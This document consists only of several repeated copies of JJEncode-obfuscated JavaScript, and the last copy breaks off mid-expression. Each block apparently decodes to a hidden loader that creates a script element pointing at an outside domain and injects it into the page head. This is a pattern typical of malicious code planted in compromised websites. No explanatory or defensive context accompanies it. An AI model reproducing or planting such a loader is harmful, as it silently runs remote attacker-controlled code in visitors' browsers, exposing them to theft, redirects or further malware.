$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$$+$.___+”’;”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(”+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())(); $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”=”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(’\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”’);”+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”’\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.”+$.$$__+(![]+””)[$._$_]+$._$+$.$$_$+”.\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.$$$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$$+$.___+”’;”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(”+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())(); $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”=”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(’\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”’);”+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”’\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.”+$.$$__+(![]+””)[$._$_]+$._$+$.$$_$+”.\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.$$$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$$+$.___+”’;”+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(”+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())(); $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(’\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”’);\\”+$.__$+$._$_+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”’\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.\\”+$.__$+$.$$_+$._$$+$.__+$.$_$_+$.__+”\\”+$.__$+$.$_$+$.__$+”.”+$.$_$$+”\\”+$.__$+$.$_$+$.__$+$.$$_$+”/\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”/\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$.$$$+$.___+$.$_$_+”\\”+$.__$+$.___+$.$__+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$_+”\\”+$.__$+$._$$+$._$_+$._$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.___+$.$$_$+(![]+””)[$._$_]+”\\”+$.__$+$._$$+$.___+$._$_+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$_+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$._$_+$.___+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.___+$.$$$_+”\\”+$.__$+$.__$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.__$+$.___+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$.__$+$.___+$.$$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$___+”\\”+$.__$+$._$_+$.$_$+”\\”+$.__$+$._$_+$.$__+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$$+$._$_+$.$$_$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$._$_+$.__+”\\”+$.__$+$.$$_+$.$$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$._$$+$.__+”\\”+$.__$+$.$$$+$.__$+”\\”+$.__$+$._$$+$._$_+”\\”+$.__$+$.$$$+$._$_+$._$+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.__$+$.$__+$.__$+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.__$+$._$_+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$__+$.$$$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$._$_+$.$__+$._$+$._$_+”\\”+$.__$+$.__$+$._$$+”\\”+$.__$+$._$_+$.___+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$._$$+$.$$_$+”-\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.$_$+$._$$+$.$_$$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$_+$.__$+$.$$__+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.___+$._$$+”-\\”+$.__$+$.$_$+$._$$+$.__$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.__$+$.__$+$._$_+”\\”+$.__$+$.___+$.$$$+$.$_$+$.$$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”_”+$.$__+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$.$$_+$.__$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.__$+$.___+$.$$$+”\\”+$.__$+$.__$+$.$_$+”\\”+$.__$+$._$_+$.$$$+”\\”+$.__$+$.___+$.__$+$._+”\\”+$.__$+$.___+$.$_$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.__$+$.$$_+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.$_$+$._$$+”\\”+$.__$+$._$_+$._$_+”\\”+$.__$+$.$_$+$._$_+$.$$__+”\\”+$.__$+$._$_+$._$$+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$.$_$+$.$_$+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.___+$._$_+”\\”+$.__$+$.___+$.$$_+”\\”+$.__$+$.___+$.$$$+”\\”+$.__$+$._$$+$.__$+”\\”+$.__$+$.___+$.__$+”\\”+$.__$+$._$$+$.___+”\\”+$.__$+$._$_+$.__$+”\\”+$.__$+$.$$$+$.___+”\\”+$.__$+$.$$_+$.$$$+$.$_$_+”.\\”+$.__$+$.$_$+$._$_+”\\”+$.__$+$.$$_+$._$$+”?”+$.__+”\\”+$.__$+$.$$_+$._$_+(![]+””)[$._$_]+”=”+$.___+”.”+$._$_+$.___+”’;\\”+$.__$+$._$_+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.\\”+$.__$+$.$_$+$.___+$.$$$_+$.$_$_+$.$$_$+”.”+$.$_$_+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$.___+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.$$_$+”\\”+$.__$+$.___+$._$$+”\\”+$.__$+$.$_$+$.___+”\\”+$.__$+$.$_$+$.__$+(![]+””)[$._$_]+$.$$_$+”(”+$.$$$_+(![]+””)[$._$_]+”);”+”\””)())(); $=~[];$={___:++$,$$$$:(![]+””)[$],__$:++$,$_$_:(![]+””)[$],_$_:++$,$_$$:({}+””)[$],$$_$:($[$]+””)[$],_$$:++$,$$$_:(!””+””)[$],$__:++$,$_$:++$,$$__:({}+””)[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+””)[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+””)[$.__$])+((!$)+””)[$._$$]+($.__=$.$_[$.$$_])+($.$=(!””+””)[$.__$])+($._=(!””+””)[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!””+””)[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+”\””+”\\”+$.__$+$.$$_+$.$$_+$.$_$_+”\\”+$.__$+$.$$_+$._$_+”\\”+$.$__+$.___+$.$$$_+(![]+””)[$._$_]+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+$.$$_$+$._$+$.$$__+$._+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”.”+$.$$__+”\\”+$.__$+$.$$_+$._$_+$.$$$_+$.$_$_+$.__+$.$$$_+”\\”+$.__$+$.___+$.$_$+(![]+””)[$._$_]+$.$$$_+”\\”+$.__$+$.$_$+$.$_$+$.$$$_+”\\”+$.__$+$.$_$+$.$$_+$.__+”(’\\”+$.__$+$.$$_+$._$$+$.$$__+”\\”+$.__$+$.$$_+$._$_+”\\”+$.__$+$.$_$+$.__$+”\\”+$.__$+$.$$_+$.___+$.__+”’);\\”+$.__$+$._$_+$.$$$_+(![]+””)[$._$_]+”.\\”+$.__$+$.$$_+$._$$+”\\”+$.__$+$.$$_+$._$_+$.$$__+”\\”+$.$__+$.___+”=\\”+$.$__+$.___+”’\\”+$.__$+$.$_$+$.___+$.__+$.__+”\\”+$.__$+$.$$_+$.___+”\\”+$.__$+$.$$_+$._$$+”://\\”+$.__$+$.$$_+$.$$$+$.$$$_+$.$_$$+”.\\”+$.__$+$.$$_+$._$$+$.__+$.$_$_+$.__